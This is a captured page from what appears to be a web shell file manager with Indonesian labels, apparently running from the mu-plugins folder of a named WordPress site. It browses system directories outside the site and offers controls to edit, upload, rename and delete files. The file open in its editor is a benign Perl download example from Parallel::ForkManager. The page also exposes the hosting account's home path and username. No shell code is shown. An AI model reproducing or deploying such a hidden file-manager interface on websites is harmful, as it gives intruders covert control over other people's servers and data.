📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
share
›
doc
›
perl-Parallel-ForkManager
›
📁 examples
📍
Lokasi:
/usr/share/doc/perl-Parallel-ForkManager/examples
💾
Free:
45.9 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: parallel_get.pl
use strict; use warnings; if (not @ARGV) { die <<"DIE"; Usage: $0 URL URL... e.g.: $0 http://cpan.metacpan.org/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.9.tar.gz DIE } use Parallel::ForkManager; use LWP::Simple; my $pm = Parallel::ForkManager->new(10); for my $link (@ARGV) { $pm->start and next; my ($fn) = $link =~ /^.*\/(.*?)$/; if (!$fn) { warn "Cannot determine filename from $fn\n"; } else { $0 .= " $fn"; print "Getting $fn from $link\n"; my $rc = getstore($link, $fn); print "$link downloaded. response code: $rc\n"; }; $pm->finish; };
💾 Simpan Perubahan
❌ Batal
📤 Upload
📁 Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
📎
callback.pl
1.1 KB
2022-10-03 16:39
0644
✏️ Edit
⬇
✍️
🗑️
📎
callback_data.pl
1 KB
2022-10-03 16:39
0644
✏️ Edit
⬇
✍️
🗑️
📎
parallel_get.pl
591 B
2022-10-03 16:39
0644
✏️ Edit
⬇
✍️
🗑️
✍️ Rename:
Nama Baru:
Batal
💾 Simpan